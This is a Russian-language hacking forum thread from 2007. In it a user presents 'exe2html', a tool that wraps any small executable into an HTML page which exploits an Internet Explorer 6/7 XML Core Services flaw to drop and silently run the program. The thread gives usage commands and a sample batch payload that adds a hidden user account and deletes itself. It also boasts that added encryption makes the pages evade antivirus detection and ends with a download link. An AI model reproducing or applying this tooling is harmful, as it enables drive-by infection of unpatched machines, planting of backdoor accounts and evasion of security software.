ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Soft - Windows
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Написал программу exe2html
  #1  
Старый 26.03.2007, 21:08
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Написал программу exe2html

Данная программа написана для того чтобы тестировать уязвимые
системы. Вы используете эту программу на свой страх и риск.
Автор программы не несет ответственности за то что вы можете
натварить с помощью этой программы
Если вам понравилась программа то, киньте кто сколько может на кошелек
WMZ: Z671833489051
WMR: R156568501269
БУДУ очень благодарен!!

ВНИМАНИЕ!!!!!!!!!!!!!!!!!
Работа программы основанна уязвимости: MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Exploit
Поэтому для запуска прикрепленной программы, необходимо проссмотреть созданную страницу через не пропатченый IE 6/7

МАКСИМАЛЬНЫЙ РАЗМЕР ПРИКРЕПЛЯЕМОЙ ПРОГРАММЫ - 11 КИЛОБАЙТ!!!!
ИМЕННО ПО ЭТОМУ АКТУАЛЬНЕЕ ВСЕГО ПРИКРЕПЛЯТЬ *.BAT ФАЙЛЫ
И ПРОГРАММЫ НАПИСАННЫЕ НА ASM

Ипользование программы:
exe2html.exe show_param file_in file_out
Где:
show_param - парамерт отображения прикрепленной программы при запуске.
1 - Показывать окно
0 - Не показывать окно
file_in - файл который встраивается в html страницу. Прикреплять слудует только исполняемые файлы
такие как *.exe *.com *.bat
file_out - выходной файл в котором будет находиться готовая страница.
Для того чтобы запустился код в html-файле файл должен иметь расширение: *.html *.htm

Принцип работы:
При проссмотре созданной странице через IE - запускается код помешенный в страницу, этот код сохраняет
прекрепленную программу в папку TEMP и заупускает её

Пример использования:
1) exe2html.exe 1 c:\1.exe c:\2.html
Создаст на диске C: файл 2.html в которую запихнет программу 1.exe находящююся на диске C:
При запуске прикрепленной программы окно будет показываться.
2) exe2html.exe 0 c:\1.bat c:\2.html
Создаст на диске C: файл 2.html в которую запихнет пакетный файл 1.bat находящююся на диске C:
При запуске пакетного файла окно не будет показываться.
В пакетный файл может выглядеть следующим образом:
net user myuser mypass /add
del %0
т.е. создаст пользователся myuser с паролем mypass и удалит сам себя.


Связь с автором программы:
ICQ: 266-334-734
E-mail: slesh-2000@yandex.ru
WMZ: Z671833489051
WMR: R156568501269

Кому будет нужна программа, то стучитель ко мне в ICQ 266-334-734
 
Ответить с цитированием

  #2  
Старый 26.03.2007, 21:55
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

мухахаха
 
Ответить с цитированием

  #3  
Старый 26.03.2007, 21:58
Аватар для n1†R0x
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


Отправить сообщение для n1†R0x с помощью ICQ
По умолчанию

можно понять, что это 0day сплоит, если вчитаться... D
Цитата:
При проссмотре созданной странице через IE - запускается код помешенный в страницу, этот код сохраняет
прекрепленную программу в папку TEMP и заупускает её

Последний раз редактировалось n1†R0x; 26.03.2007 в 22:00..
 
Ответить с цитированием

  #4  
Старый 26.03.2007, 22:05
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

2 n1†R0x
Именно по этому я и написал что прога сделана на базе MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Exploit
 
Ответить с цитированием

  #5  
Старый 26.03.2007, 22:58
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

ВОт единственное что не поуму, это то чно не на всех компах работает. т.е. шелл-код - 100% работает на 2000 Xp и 2003.
На разных компах стоят ослы одинаковых версий. На одном пашет, на другом нет :\
 
Ответить с цитированием

  #6  
Старый 26.03.2007, 23:12
Аватар для Sn@k3
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

о господи.. я уже подумал, типа софтина конвертирует каким=-то образом экзе в хтмл жесть)))
 
Ответить с цитированием

  #7  
Старый 27.03.2007, 13:54
Аватар для Utochka
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
Провел на форуме:
1867718

Репутация: 268


По умолчанию

=/
 
Ответить с цитированием

  #8  
Старый 27.03.2007, 22:33
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Кстати говоря. Добавил простенькое шифрование страницы. теперь антивири не палят создаваемые страницы. А раньше палили.
НО есть маленькое НО:
при присабачивании 11 килобайтной проги размер страницы = 127 килобайт
 
Ответить с цитированием

  #9  
Старый 27.03.2007, 23:23
Аватар для nc.STRIEM
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

кидай ссылку сюда. или в пм есле в паблик не хочеш!
 
Ответить с цитированием

  #10  
Старый 28.03.2007, 12:13
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Вот ссылка: http://www.slesh.xost.ru/up.php?act=get&file=exe2html.zip
Версия чуть кривоватая. Т.к. из 11 килобайтной проги получается страница в 11 раз больше. т.е. 121 килобайт. Чуть по позже модернизирую чтобы уменьшить размер хотябы в 2-3 раза.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Написал прогу "Машина Времени версии 2.3 бета" Scripts Болталка 6 17.02.2007 14:36
Ищу программу csmania.org Болталка 12 26.12.2006 21:36
Sophos выпустила бесплатную программу для удаления руткитов dinar_007 Мировые новости 2 30.08.2006 01:32
Написал программу в виде уин;пароль ~Fenix~ ICQ 42 11.03.2006 01:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ